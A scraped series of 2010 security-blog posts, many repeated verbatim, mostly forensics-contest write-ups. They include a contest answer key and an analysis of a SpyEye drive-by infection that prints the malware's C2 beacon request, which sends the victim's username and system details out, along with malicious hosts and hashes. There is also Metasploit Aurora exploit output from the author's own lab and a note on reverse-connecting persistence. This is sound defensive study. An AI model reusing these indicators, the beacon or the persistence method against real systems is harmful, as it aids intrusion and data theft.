evidence06.pcap.TCP_10-10-10-10_4444_10-10-10-70_1036.bin
evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin
evidence06.pcap.TCP_10-10-10-10_8080_10-10-10-70_1035.bin
evidence06.pcap.TCP_10-10-10-70_1035_10-10-10-10_8080.bin
evidence06.pcap.TCP_10-10-10-70_1036_10-10-10-10_4444.bin
evidence06.pcap.TCP_10-10-10-70_1044_10-10-10-10_4445.bin
evidence06.pcap.UDP_10-10-10-70_138_10-10-10-255_138.bin
The fun thing with using this is we can look at files like: evidence06.pcap.TCP_10-10-10-70_1035_10-10-10-10_8080.bin
And see exactly what was requested:
(question #1)
GET /index.php HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 10.10.10.10:8080
Connection: Keep-Alive
(question #3)
GET /index.phpmfKSxSANkeTeNrah.gif HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://10.10.10.10:8080/index.php
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: 10.10.10.10:8080
Connection: Keep-Alive
The 2 main ones we are interested in are the port 4444 and 4445 files that splitcap provided us. Opening these files up with a hex editor we see an initial 4 bytes 00 6a 0b 00, possibly a protocol header or a command to download a file, because immediately after this we see the MZ magic header info. (question #6.1) We'll come back to the initial 4 bytes here in a little bit.
mzcarver.exe was written specifically to look for MZ headers in tcp dump files. We could use foremost to carve this out, but I wanted to do this all on windows, without trying to get cygwin working on the system. mzcarver does have some limitations at this point. See the readme file that accompanies it for that.
We use mzcarver.exe like this:
mzcarver /r evidence06.pcap.TCP_10-10-10-10_4444_10-10-10-70_1036.bin /d
mzcarver /r evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin /d
The /d option dumps out to disk the pre and post data that surrounded the mz file. At this point since I only carve out PE files, it appends .pe on the extracted file (this file could be a dll, exe, etc).
After running mzcarever we get the following files:
evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin.post
evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin.pre
evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin.pe
evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin.post
evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin.pre
evidence06.pcap.TCP_10-10-10-10_4445_10-10-10-70_1044.bin.pe
Checking the files, the first thing we notice is that the .pe files are the same size (748,032). Checking their MD5 sums we get:
port 4444 one B062CB8344CD3E296D8868FBEF289C7C (question #6.2)
port 4445 one B062CB8344CD3E296D8868FBEF289C7C (question #9)
The same thing, so why did it download the same file twice, just on different ports? Or more to the point why did "they" fire up a 2nd reverse TCP meterpreter session? More on this still to come.
Both .pre files have the same data in them "00 6a 0b 00". With a small tweak to put it in the correct byte order we get: 000b 6a00 or in Decimal format 748,032, which is the size of the file that follows. Note: Erik Hjelmvik pointed this out to me in discussions we had on this contest. I had figured out there was the pre/post info already, but hadn't determined if it was a protocol command or what at that time.
Looking at the .post files, we see the first 14 bytes are the same, but after that they start to deviate:
"16 03 00 00 4a 02 00 00 46 03 00 4b d9 48"
Some quick searches in google seem to indicate the first 8-11 bytes there appear to be some type of SSL communication/handshake.
Scanning through the .pe file with a hex editor we can see a lot of Open SSL info. I believe it even tells the version of OpenSSL, 0.9.8k
So between the OpenSSL references in the .pe file and what appears to be some type of SSL handshake in the .post info I'd say they are doing some type of encrypted data traffic after the sending of the file is complete.
In an attempt to find out more about the .pe file I renamed it to .exe and tried executing it on a VM. It comes up as an invalid executable.
---
In an attempt to understand what was going on here I downloaded Metasploit 3.4 and ran the ms10_002_aurora exploit against a few test VMs. I found that my XP SP2 IE6 box (base install of SP2, no patches) did appeared to be vulnerable (image that). I ended up with this lovely screen:
[*] Sending stage (748032 bytes) to 192.168.4.9
[*] Meterpreter session 1 opened (192.168.4.10:4444 -> 192.168.4.9:1149) at 2010-06-23 21:33:55 -0700
As you can see here it sent 748032 bytes, again same size we saw above, so this capture at least appears to have been done with metasploit running on the linux attack machine.
Now the question of why the windows box was constantly trying to connect back to the Linux host on port 4445 and why they started up a 2nd meterpreter session once they did? Exploiting IE appears to work fine with the ms10_002_Aurora exploit, but if/when the user closes IE down, your connection drops. So how to overcome this.... As soon as you get your initial interactive session you upload a new program and launch it. This new program will try to reverse connect back to you as new process. Perhaps setting this up to run as a new service, or just a simple one time run. This way, even if IE gets closed down you get the new connection on port 4445 connected to you and go in over that connection.
I honestly don't know if that is what happened in this case, but, whatever was trying to contact back on port 4445 had to try multiple times and is quite chatty. Leaving a specific signature that would be fairly easy to detect with an IDS. Changing its source port every 15 packets, its seqnum every 3 and its ipid every 1 at least as long as it continues to try to connect to the remost system on port 4445 and fails. Typically you'd want to be listening ahead of time on that port, or perhaps have a more random and longer pause time between packets.
Note: In all fairness I wouldn't have even looked at this from the Metasploit side if Erik hadn't mentioned it in our ongoing conversations, he at least got me started down the Meterpreter road here. This brings up why I like to work on issues like this in a team setting, it gives you someone else to bounce ideas/issues off of!
---
So yes, Metasploit and the ms10_002_aurora exploit makes pretty easy work of compromising a XP box with IE6 still installed on it. This appears to be what happened overall in this case, but there may be other exploits that utilize some of these same things.
Monday, June 21, 2010
Full Disclosure vs Responsible Disclosure
There was an ongoing thread war last week (or the week before) on Full Disclosure vs Responsible disclosure when someone notified MS of a bug and then 4 days later released the info to the public. After being on vacation for the past week or so I now see there is a known exploit in the wild on this.
Over the years I've gone back and forth on the whole FD vs RD argument. Now that I support a few hundred systems I'm normally more on the RD side of things, but when is it the vendors responsibility to at least be forthcoming about information on the issue to people who report issues?
In the above case, I'm not sure 4 days is reasonable to expect MS to fix the issue, and I have no idea what, if anything, they responded to the person who informed them of it. But I got thinking of this again today when I logged into Twitter.
Back at the beginning of May it was reported that if you changed any of your settings in Twitter that your password would be sent in clear text. The original author of the post claimed they notified twitter of it. I know I also did, I figured if more than one person mentioned it it may get past the first line of Helpdesk personnel. Fast forward ~45 days, no response from twitter and the bug still exists.
I decided I'd poke around a bit more on their site, see if I could figure out a better way to contact them. After 10 mins of going in circles, I was back at the same form I'd tried before. They have a place that says "Check Existing Requests" and "View recently solved and closed tickets", but for the life of me, no way to open a new ticket!
Now I at least understand better what happens when we get upset clients, complaining about going round and round in circles and getting nowhere. We all put things in place to try to limit the number of actual calls that come in, hopefully allowing the user to find the answer themselves, but when it so frustrates the person reporting issues, I can see why some resort to FD from the get go.
I still like the idea of RD, but sometimes I have to admit, some things get fixed a lot quicker when an exploit is floating around out there. While this is great for getting things fixed, it still really sucks being the guy on the other end trying to rush a patch out! It also really sucks being the support guy that has to install that patch on 100's of systems!
Over the years I've gone back and forth on the whole FD vs RD argument. Now that I support a few hundred systems I'm normally more on the RD side of things, but when is it the vendors responsibility to at least be forthcoming about information on the issue to people who report issues?
In the above case, I'm not sure 4 days is reasonable to expect MS to fix the issue, and I have no idea what, if anything, they responded to the person who informed them of it. But I got thinking of this again today when I logged into Twitter.
Back at the beginning of May it was reported that if you changed any of your settings in Twitter that your password would be sent in clear text. The original author of the post claimed they notified twitter of it. I know I also did, I figured if more than one person mentioned it it may get past the first line of Helpdesk personnel. Fast forward ~45 days, no response from twitter and the bug still exists.
I decided I'd poke around a bit more on their site, see if I could figure out a better way to contact them. After 10 mins of going in circles, I was back at the same form I'd tried before. They have a place that says "Check Existing Requests" and "View recently solved and closed tickets", but for the life of me, no way to open a new ticket!
Now I at least understand better what happens when we get upset clients, complaining about going round and round in circles and getting nowhere. We all put things in place to try to limit the number of actual calls that come in, hopefully allowing the user to find the answer themselves, but when it so frustrates the person reporting issues, I can see why some resort to FD from the get go.
I still like the idea of RD, but sometimes I have to admit, some things get fixed a lot quicker when an exploit is floating around out there. While this is great for getting things fixed, it still really sucks being the guy on the other end trying to rush a patch out! It also really sucks being the support guy that has to install that patch on 100's of systems!
Friday, June 4, 2010
Forensics contest #5 results
Well NetworkMiner is getting a huge amount of use in these forensic contests these days. By my count 6 of the 10 finalists used it this time around (still reading through all 10 of them, just did a quick term search, so some may have just mentioned it and not actually used it).
Reading through the winners entry, as noted by the contest owners was very well done, it provided a very nice walk through and is well worth the read.
He did his analysis on a windows box also (like I did), but the more I think about it, the more I think we should be looking at doing this on Linux. A lot of it is a comfort level, what tools you have available etc, but if you know you are working with something that is going to be attacking windows, doesn't it make sense to do your analysis on a system you know it can't infect? I went to great lengths to run mine in a sandbox, on a VM I was willing to scrub, and with no outside network, but the more I think about this the more I think doing analysis on the OS that the infection is going to go after is a bad idea.
With that said, I'm still working on contest #6 on a windows system currently because I'm writing a program that will specifically carve exe's out of a tcp data stream, but hey, I'm more comfortable on windows, give me a break!
On the other hand, you don't always know what payload you are going to find, and driveby malware is everywhere, so is any system actually safe these days!
Reading through the winners entry, as noted by the contest owners was very well done, it provided a very nice walk through and is well worth the read.
He did his analysis on a windows box also (like I did), but the more I think about it, the more I think we should be looking at doing this on Linux. A lot of it is a comfort level, what tools you have available etc, but if you know you are working with something that is going to be attacking windows, doesn't it make sense to do your analysis on a system you know it can't infect? I went to great lengths to run mine in a sandbox, on a VM I was willing to scrub, and with no outside network, but the more I think about this the more I think doing analysis on the OS that the infection is going to go after is a bad idea.
With that said, I'm still working on contest #6 on a windows system currently because I'm writing a program that will specifically carve exe's out of a tcp data stream, but hey, I'm more comfortable on windows, give me a break!
On the other hand, you don't always know what payload you are going to find, and driveby malware is everywhere, so is any system actually safe these days!
Saturday, May 22, 2010
Forensics Contest #6 Ann's Aurora
Hi! Recently we were challenged by SANS Fellow Rob Lee (author of “Computer Forensics” 508) to create a puzzle based on an Advanced Persistent Threat (APT). We thought this was a great idea! So this month we are doing a special release through the SANS Institute based on APT. SANS is sponsoring some especially cool prizes– check out the full puzzle and writeup here:
http://computer-forensics.sans.org/challenges/
The contest is a client-side attack based on Operation Aurora. This packet capture contains a full recording of a real Windows system getting exploited via the same mechanism that was used to exploit Google. Ann spear-phishes a developer, who clicks on a link and connects to her malicious web server. Then she configures the victim to make outbound persistent connection attempts to her server so that she can retain access and reconnect in the future.
---
A bit different than the first 4, uses ideas you may have come up with in #5, but has some new twists to be sure! One other twist is you have to have a SANS portal account to grab the evidence file. Not sure what is required to get an account, I already have one since I hold a few certs from there already.
On top of that they are pushing the upcoming Forensics Summit in DC, more info can be found here:
http://www.sans.org/forensics-incident-response-summit-2010/agenda.php
Looking over the agenda here is some interesting info:
On Thursday July 8th (end of the first day)
6:30pm - 7:30pm
SANS Forensic Challenge Winners Presentation
Winners of the 2010 Forensic Challenge "Ann's Aurora" to be announced and presented with their awards via this live and internet broadcasted event!
Prizes: 2 netbook and free passes to the 2011 Forensics/IR Summit
Or directly from the writeup:
Prizes
2 Lenovo Ideapad SNIFT Configured Netbooks for first and second place teams.
In addition, each team that places in the top three will be awarded free passes to the 2011 Incident Response and Forensic Summit (One pass per entry)
You have a little over a month, good luck! (deadline 6/27/2010)
http://computer-forensics.sans.org/challenges/
The contest is a client-side attack based on Operation Aurora. This packet capture contains a full recording of a real Windows system getting exploited via the same mechanism that was used to exploit Google. Ann spear-phishes a developer, who clicks on a link and connects to her malicious web server. Then she configures the victim to make outbound persistent connection attempts to her server so that she can retain access and reconnect in the future.
---
A bit different than the first 4, uses ideas you may have come up with in #5, but has some new twists to be sure! One other twist is you have to have a SANS portal account to grab the evidence file. Not sure what is required to get an account, I already have one since I hold a few certs from there already.
On top of that they are pushing the upcoming Forensics Summit in DC, more info can be found here:
http://www.sans.org/forensics-incident-response-summit-2010/agenda.php
Looking over the agenda here is some interesting info:
On Thursday July 8th (end of the first day)
6:30pm - 7:30pm
SANS Forensic Challenge Winners Presentation
Winners of the 2010 Forensic Challenge "Ann's Aurora" to be announced and presented with their awards via this live and internet broadcasted event!
Prizes: 2 netbook and free passes to the 2011 Forensics/IR Summit
Or directly from the writeup:
Prizes
2 Lenovo Ideapad SNIFT Configured Netbooks for first and second place teams.
In addition, each team that places in the top three will be awarded free passes to the 2011 Incident Response and Forensic Summit (One pass per entry)
You have a little over a month, good luck! (deadline 6/27/2010)
Wednesday, May 19, 2010
Detecting x86 buffer overflow shellcode attacks at the network level
Interesting article. A bit outside of my comfort level/understanding on things since I don't play much with memory, but interesting none the less. Not sure how accurate the article is, but for your reading enjoyment.
Maybe it will all make more sense ones I go back through Chapter 2 in "The Rootkit Arsenal" book that I'm currently reading. Chapter 2 was all about jumping around in memory and it seems to be a very well written book so far, but more on that some other time.
Maybe it will all make more sense ones I go back through Chapter 2 in "The Rootkit Arsenal" book that I'm currently reading. Chapter 2 was all about jumping around in memory and it seems to be a very well written book so far, but more on that some other time.
Tuesday, May 18, 2010
What does your browser tell about you
This has been talked about in a few places the past 2 days, but it is a good topic for excess info and what it tells about you. I'm pretty sure someone did something on this before, but maybe not.
Anyway, some good research to look at about how unique your browser really is and how it can be used to track back to you. This is due to plugins, cookies and other things.
A good way to block it are:
TorButton, NoScript or other Java Script blocking tools, or a bunch of corporate cloned machines! I'm sure there were other things, that is what I recall from my quick read the other day.
The main paper can be found here.
Anyway, some good research to look at about how unique your browser really is and how it can be used to track back to you. This is due to plugins, cookies and other things.
A good way to block it are:
TorButton, NoScript or other Java Script blocking tools, or a bunch of corporate cloned machines! I'm sure there were other things, that is what I recall from my quick read the other day.
The main paper can be found here.
Friday, May 14, 2010
Forensics contest #5 Answer
Well 5/13/10 has come and gone now, so here are my answers for the latest contest. As noted later in my writeup, no new tools this time, just my writeup and approach to it.
Answer 1a: sdfg.jar
Answer 1b: q.jar
Answer 2: ADMINISTRATOR
Answer 3: http://nrtjo.eu/true.php
Answer 4: 5942BA36CF732097479C51986EEE91ED
Answer 5: UPX
Answer 6: 0F37839F48F7FC77E6D50E14657FB96E
Answer 7: 213.155.29.144
Description:
Up Front:
This is a writeup on how I did it, in a manual process, with no new tools, just an attempt to do the analysis in a controlled environment and not infect anything that I didn't want to.
Before doing any malware analysis there are a few things to know/understand.
1. Odds are whatever machine you are doing this on is going to get infected sooner or later.
2. While running in a VM env is a good way to test/work on these, there is the possiblity for the programs to determine they are in a VM and act differently because of it.
System Setup:
- XP VM
- Sandbox software - www.sandboxie.com
- Hashtab - beeblebrox.org
- NetworkMiner - networkminer.sourceforge.net
- wireshark
- exeinfope
- PEiD
- UPX - http://upx.sourceforge.net/
- NO AV software installed
Download and install all software, disconnect network, just in case.
Once Sandboxie is installed some quick initial tweaks for todays fun:
- Sandbox Settings > Recovery > Immediate Recovery > Uncheck 'Enable Immediate Recovery' May want to look at (I haven't played with these settings before):
Restrictions > Drop Rights > 'Drop rights from Administrators and Power Users group'
After installing all of the software above in my VM I snapshotted it so that I could role back to a known safe/uninfected machine as needed.
On to looking at the infected.pcap file:
First thing to do is launch NetworkMiner from within a Sandbox. Right click on the NetworkMiner.exe and say 'Run Sandboxed' (again we've already installed all software)
Lets first look at the different conversations/systems involved. We have 2 systems on the local network.
192.168.23.2 - appears to be the default gateway or proxy server for the network
192.168.23.129 - Windows XP ssystem with .Net 2.0, 3.0, 3.5 and Java 1.6.0.0_05 installed on it. And on a workgroup/domain called TICKLAB (need to check Satori and see why I didn't see this there?)
192.168.23.129 has 4 outgoing sessions:
59.53.91.102:80 [nrtjo.eu] - 6 sessions, downloading 7 files
65.55.195.250:443 - 1 session
212.252.32.20:80 [freeways.in] - 1 session, downloading 1 file
213.155.29.144:444 - 1 session
We can now safely look at the files that were extracted by NetworkMiner. Files Tab > Right click on first file > Open Folder. When you do this action from within a sandboxie env it will open up the file explorer also in that same sandboxed env. You can see this with the [#] Title [#] scenario in the title bar. While you can still infect yourself by running an infected exe this way, it will be, in theory at least, contained by the sandbox and go away when you close out and delete the sandbox.
The 7 files that were downloaded from 59.53.91.102 were: (filename as NetworkMiner saved it, may not be the name it was on the server)
true.php.html
xxx.xxx.txt
favicon.ico.html
sdfg.jar.x-java-archive
q.jar.x-java-archive
file.exe.octet-stream
file.exe[1].octet-stream
For proper analysis of what it is actually doing true.php should be run through a process to convert it to 100% readable text. It does a few different things trying to obscure what it is doing, I assume so as to try to evade different tests that a system may do to determine if it is malicious. 2 things you can see are the two jar files it does with document.write, sdfg.jar and q.jar. xxx.xxx will also need looked at because it calls .replace on the text in true.php (I think, need to dig more)
Anyway, we have an answer to #1 and #3 now, the two .jar files that got created and what file did it.
Conversation to 212.252.32.20 reveals a bit of interesting info. It requests the following:
/11111/gate.php?guid=ADMINISTRATOR!TICKLABS-LZ!1C7AE7C1&ver=10084&stat=ONLINE&ie=8.0.6001.18702&os=5.1.2600&ut=Admin&cpu=92&ccrc=5A4F4DF7&md5=5942ba36cf732097479c51986eee91ed
broken down we have:
guid=ADMINISTRATOR!TICKLABS-LZ!1C7AE7C1
Logged on user id, computer name, ? hash maybe ?
So now we have answer #2.
...
ie=8.0.6001.18702
version of IE on the infected system
os=5.1.2600
System OS which we already determined by passive means before, but good to see we have the same info here.
...
md5=5942ba36cf732097479c51986eee91ed
This is the MD5 of the packed file. Possibly a phone home feature to let it know what version is out there on each
system if ver above isn't that?
We can verify this is the MD5 on the file by right clicking on the file.exe.octet-stream and going to properties and then the File Hashes tab (this is what HashTab does)
Now we have answer #4.
Based on the MD5 and some of the other info it is doing, this appears to be a decent writeup on it:
http://www.threatexpert.com/report.aspx?md5=0f37839f48f7fc77e6d50e14657fb96e
http://autovin.pandasecurity.my/?p=4780
http://www.virustotal.com/analisis/9459b0d6f7cdec6860c458944386896f78cb60befdd04fbeab0df5b6661a3f81-1268644492
http://anubis.iseclab.org/?action=result&task_id=1c8c1f787d845a7941d93e37adce1be8b&format=txt
Ok, so now we need to determine how/if our .exe is packed.
Right click on exeinfope.exe and tell it to run sandboxed (needed, probably not, but...). Go to the directory where the file.exe.octet-stream file resides and open it.
Exeinfo PE ver 0.0.2.7 says it is:
UPX -> Markus & Laszlo ver. [ 3.04 ] <- info from file. ( sign like UPX packer )
Same idea, but with PEiD v0.95 (may be a newer version?)
UPX 0.89.6 - 1.02 / 1.05 - 2.90 -> Markus & Laszlo
So we now have answer #5
To get answer #6 we'll need to get UPX and run "upx -d" on the file and then compute the MD5 with HashTab again.
So just to be same, run a cmd.exe inside the sandbox also, go do the directory where the file is:
upx -d file.exe.octet-stream
This will expand the file out. Now go back to explorer, properties on file.exe.octet-stream, File Hashes and then new
MD5 is: 0F37839F48F7FC77E6D50E14657FB96E
Answer #6
For the last part, to know where it tries to go there are a few ways to look at this. We know it has to be one of the systems that our infected host tried to contact, we can look at the traffic there and try to determine it, we can dig around in the unpacked .exe and try to find the code (beyond my level) or we can purposely infect our VM and see what happens.
Based on other info we found on the MD5 we actually know from other peoples writeups where it was going and can verify that we also tried to go there in the packet capture. 213.155.29.144 port 444.
This malware appears to be SpyEye, a good writeup on it can be found here, which details some of what I had already figured out from the URL info:
http://blog.novirusthanks.org/2010/01/a-new-sophisticated-bot-named-spyeye-is-on-the-market/
Answer 1a: sdfg.jar
Answer 1b: q.jar
Answer 2: ADMINISTRATOR
Answer 3: http://nrtjo.eu/true.php
Answer 4: 5942BA36CF732097479C51986EEE91ED
Answer 5: UPX
Answer 6: 0F37839F48F7FC77E6D50E14657FB96E
Answer 7: 213.155.29.144
Description:
Up Front:
This is a writeup on how I did it, in a manual process, with no new tools, just an attempt to do the analysis in a controlled environment and not infect anything that I didn't want to.
Before doing any malware analysis there are a few things to know/understand.
1. Odds are whatever machine you are doing this on is going to get infected sooner or later.
2. While running in a VM env is a good way to test/work on these, there is the possiblity for the programs to determine they are in a VM and act differently because of it.
System Setup:
- XP VM
- Sandbox software - www.sandboxie.com
- Hashtab - beeblebrox.org
- NetworkMiner - networkminer.sourceforge.net
- wireshark
- exeinfope
- PEiD
- UPX - http://upx.sourceforge.net/
- NO AV software installed
Download and install all software, disconnect network, just in case.
Once Sandboxie is installed some quick initial tweaks for todays fun:
- Sandbox Settings > Recovery > Immediate Recovery > Uncheck 'Enable Immediate Recovery' May want to look at (I haven't played with these settings before):
Restrictions > Drop Rights > 'Drop rights from Administrators and Power Users group'
After installing all of the software above in my VM I snapshotted it so that I could role back to a known safe/uninfected machine as needed.
On to looking at the infected.pcap file:
First thing to do is launch NetworkMiner from within a Sandbox. Right click on the NetworkMiner.exe and say 'Run Sandboxed' (again we've already installed all software)
Lets first look at the different conversations/systems involved. We have 2 systems on the local network.
192.168.23.2 - appears to be the default gateway or proxy server for the network
192.168.23.129 - Windows XP ssystem with .Net 2.0, 3.0, 3.5 and Java 1.6.0.0_05 installed on it. And on a workgroup/domain called TICKLAB (need to check Satori and see why I didn't see this there?)
192.168.23.129 has 4 outgoing sessions:
59.53.91.102:80 [nrtjo.eu] - 6 sessions, downloading 7 files
65.55.195.250:443 - 1 session
212.252.32.20:80 [freeways.in] - 1 session, downloading 1 file
213.155.29.144:444 - 1 session
We can now safely look at the files that were extracted by NetworkMiner. Files Tab > Right click on first file > Open Folder. When you do this action from within a sandboxie env it will open up the file explorer also in that same sandboxed env. You can see this with the [#] Title [#] scenario in the title bar. While you can still infect yourself by running an infected exe this way, it will be, in theory at least, contained by the sandbox and go away when you close out and delete the sandbox.
The 7 files that were downloaded from 59.53.91.102 were: (filename as NetworkMiner saved it, may not be the name it was on the server)
true.php.html
xxx.xxx.txt
favicon.ico.html
sdfg.jar.x-java-archive
q.jar.x-java-archive
file.exe.octet-stream
file.exe[1].octet-stream
For proper analysis of what it is actually doing true.php should be run through a process to convert it to 100% readable text. It does a few different things trying to obscure what it is doing, I assume so as to try to evade different tests that a system may do to determine if it is malicious. 2 things you can see are the two jar files it does with document.write, sdfg.jar and q.jar. xxx.xxx will also need looked at because it calls .replace on the text in true.php (I think, need to dig more)
Anyway, we have an answer to #1 and #3 now, the two .jar files that got created and what file did it.
Conversation to 212.252.32.20 reveals a bit of interesting info. It requests the following:
/11111/gate.php?guid=ADMINISTRATOR!TICKLABS-LZ!1C7AE7C1&ver=10084&stat=ONLINE&ie=8.0.6001.18702&os=5.1.2600&ut=Admin&cpu=92&ccrc=5A4F4DF7&md5=5942ba36cf732097479c51986eee91ed
broken down we have:
guid=ADMINISTRATOR!TICKLABS-LZ!1C7AE7C1
Logged on user id, computer name, ? hash maybe ?
So now we have answer #2.
...
ie=8.0.6001.18702
version of IE on the infected system
os=5.1.2600
System OS which we already determined by passive means before, but good to see we have the same info here.
...
md5=5942ba36cf732097479c51986eee91ed
This is the MD5 of the packed file. Possibly a phone home feature to let it know what version is out there on each
system if ver above isn't that?
We can verify this is the MD5 on the file by right clicking on the file.exe.octet-stream and going to properties and then the File Hashes tab (this is what HashTab does)
Now we have answer #4.
Based on the MD5 and some of the other info it is doing, this appears to be a decent writeup on it:
http://www.threatexpert.com/report.aspx?md5=0f37839f48f7fc77e6d50e14657fb96e
http://autovin.pandasecurity.my/?p=4780
http://www.virustotal.com/analisis/9459b0d6f7cdec6860c458944386896f78cb60befdd04fbeab0df5b6661a3f81-1268644492
http://anubis.iseclab.org/?action=result&task_id=1c8c1f787d845a7941d93e37adce1be8b&format=txt
Ok, so now we need to determine how/if our .exe is packed.
Right click on exeinfope.exe and tell it to run sandboxed (needed, probably not, but...). Go to the directory where the file.exe.octet-stream file resides and open it.
Exeinfo PE ver 0.0.2.7 says it is:
UPX -> Markus & Laszlo ver. [ 3.04 ] <- info from file. ( sign like UPX packer )
Same idea, but with PEiD v0.95 (may be a newer version?)
UPX 0.89.6 - 1.02 / 1.05 - 2.90 -> Markus & Laszlo
So we now have answer #5
To get answer #6 we'll need to get UPX and run "upx -d" on the file and then compute the MD5 with HashTab again.
So just to be same, run a cmd.exe inside the sandbox also, go do the directory where the file is:
upx -d file.exe.octet-stream
This will expand the file out. Now go back to explorer, properties on file.exe.octet-stream, File Hashes and then new
MD5 is: 0F37839F48F7FC77E6D50E14657FB96E
Answer #6
For the last part, to know where it tries to go there are a few ways to look at this. We know it has to be one of the systems that our infected host tried to contact, we can look at the traffic there and try to determine it, we can dig around in the unpacked .exe and try to find the code (beyond my level) or we can purposely infect our VM and see what happens.
Based on other info we found on the MD5 we actually know from other peoples writeups where it was going and can verify that we also tried to go there in the packet capture. 213.155.29.144 port 444.
This malware appears to be SpyEye, a good writeup on it can be found here, which details some of what I had already figured out from the URL info:
http://blog.novirusthanks.org/2010/01/a-new-sophisticated-bot-named-spyeye-is-on-the-market/
Wednesday, May 12, 2010
Twitter and clear text passwords when changing settings
There are a few links around and I actually Tweeted about this last week, but figured I'd put it here since it is a bit more permanent.
If you change any settings in Twitter it pushes that password in the clear text. Initial login is secure, but changes to settings afterward reprompt for password, and this one is sent in the clear. Something to be aware of! (Also sounds like password changes once logged on may be sent in the clear also, I didn't verify this one)
I found out about it from the NetworkMiner list and verified the issue myself. I sent something onto twitter through their help page, but haven't heard anything on it nor do I know if they've updated it, but here was the original thread and another video demo:
http://www.hak5.org/forums/index.php?s=2e2403f573f4726eb99f84edad76c867&showtopic=16497
http://www.youtube.com/watch?v=177qSf1VcWg&feature=player_embedded#!
If you change any settings in Twitter it pushes that password in the clear text. Initial login is secure, but changes to settings afterward reprompt for password, and this one is sent in the clear. Something to be aware of! (Also sounds like password changes once logged on may be sent in the clear also, I didn't verify this one)
I found out about it from the NetworkMiner list and verified the issue myself. I sent something onto twitter through their help page, but haven't heard anything on it nor do I know if they've updated it, but here was the original thread and another video demo:
http://www.hak5.org/forums/index.php?s=2e2403f573f4726eb99f84edad76c867&showtopic=16497
http://www.youtube.com/watch?v=177qSf1VcWg&feature=player_embedded#!
Monday, May 10, 2010
Fingerprint Editor updated
There have been a few updates to this and other products on his page that I haven't mentioned. Anyway, thanks for the recent updates/fixes. If you are utilizing any of the .xml files I provide I highly recommend using this to edit them!
Also, I've updated 3 or 4 of the main .xml files multiple times in the past week after not having updated them in quite some time. So make sure you check for new updates of the .xml files. There may be some new ones that haven't made it into the latest Fingerprint Editor program.
Also, I've updated 3 or 4 of the main .xml files multiple times in the past week after not having updated them in quite some time. So make sure you check for new updates of the .xml files. There may be some new ones that haven't made it into the latest Fingerprint Editor program.
Saturday, April 10, 2010
Contest #5
This one has nothing to do with os fingerprinting, passive or active, it is malware based. Being that that is the case I almost didn't post anything here about it, but I know I have some people following the blog in a "hidden" manner, so for those that are and are interested, there is a malware forensic challenge out there for you!
The puzzle:
It was a morning ritual. Ms. Moneymany sipped her coffee as she quickly went through the email that arrived during the night. One of the messages caught her eye, because it was clearly spam that somehow got past the email filter. The message extolled the virtues of buying medicine on the web and contained a link to the on-line pharmacy. “Do people really fall for this stuff?” Ms. Moneymany thought. She was curious to know how the website would convince its visitors to make the purchase, so she clicked on the link.
The website was slow to load, and seemed to be broken. There was no content on the page. Disappointed, Ms. Moneymany closed the browser’s window and continued with her day.
She didn’t realize that her Windows XP computer just got infected.
You are the forensic investigator. You possess the network capture (PCAP) file that recorded Ms. Moneymany’s interactions with the website. Your mission is to understand what probably happened to Ms. Moneymany’s system after she clicked the link. Your analysis will start with the PCAP file and will reveal a malicious executable.
Answer the following questions:
1. As part of the infection process, Ms. Moneymany’s browser downloaded two Java applets. What were the names of the two .jar files that implemented these applets?
2. What was Ms. Moneymany’s username on the infected Windows system?
3. What was the starting URL of this incident? In other words, on which URL did Ms. Moneymany probably click?
4. As part of the infection, a malicious Windows executable file was downloaded onto Ms. Moneymany’s system. What was the file’s MD5 hash? Hint: It ends on “91ed”.
5. What is the name of the packer used to protect the malicious Windows executable? Hint: This is one of the most popular freely-available packers seen in “mainstream” malware.
6. What is the MD5 hash of the unpacked version of the malicious Windows executable file?
7. The malicious executable attempts to connect to an Internet host using an IP address which is hard-coded into it (there was no DNS lookup). What is the IP address of that Internet host?
Prize: Lenovo Ideapad S10-2 netbook
----
I've taken a look at it and may have to try to spend some time working on it. If nothing else just as a new puzzle to figure out. I won't be writing any code for it, but may use it as a chance to understand java more and how this malware got on the machine and ran.
The puzzle:
It was a morning ritual. Ms. Moneymany sipped her coffee as she quickly went through the email that arrived during the night. One of the messages caught her eye, because it was clearly spam that somehow got past the email filter. The message extolled the virtues of buying medicine on the web and contained a link to the on-line pharmacy. “Do people really fall for this stuff?” Ms. Moneymany thought. She was curious to know how the website would convince its visitors to make the purchase, so she clicked on the link.
The website was slow to load, and seemed to be broken. There was no content on the page. Disappointed, Ms. Moneymany closed the browser’s window and continued with her day.
She didn’t realize that her Windows XP computer just got infected.
You are the forensic investigator. You possess the network capture (PCAP) file that recorded Ms. Moneymany’s interactions with the website. Your mission is to understand what probably happened to Ms. Moneymany’s system after she clicked the link. Your analysis will start with the PCAP file and will reveal a malicious executable.
Answer the following questions:
1. As part of the infection process, Ms. Moneymany’s browser downloaded two Java applets. What were the names of the two .jar files that implemented these applets?
2. What was Ms. Moneymany’s username on the infected Windows system?
3. What was the starting URL of this incident? In other words, on which URL did Ms. Moneymany probably click?
4. As part of the infection, a malicious Windows executable file was downloaded onto Ms. Moneymany’s system. What was the file’s MD5 hash? Hint: It ends on “91ed”.
5. What is the name of the packer used to protect the malicious Windows executable? Hint: This is one of the most popular freely-available packers seen in “mainstream” malware.
6. What is the MD5 hash of the unpacked version of the malicious Windows executable file?
7. The malicious executable attempts to connect to an Internet host using an IP address which is hard-coded into it (there was no DNS lookup). What is the IP address of that Internet host?
Prize: Lenovo Ideapad S10-2 netbook
----
I've taken a look at it and may have to try to spend some time working on it. If nothing else just as a new puzzle to figure out. I won't be writing any code for it, but may use it as a chance to understand java more and how this malware got on the machine and ran.
Friday, April 2, 2010
Forensics contest #4 Results
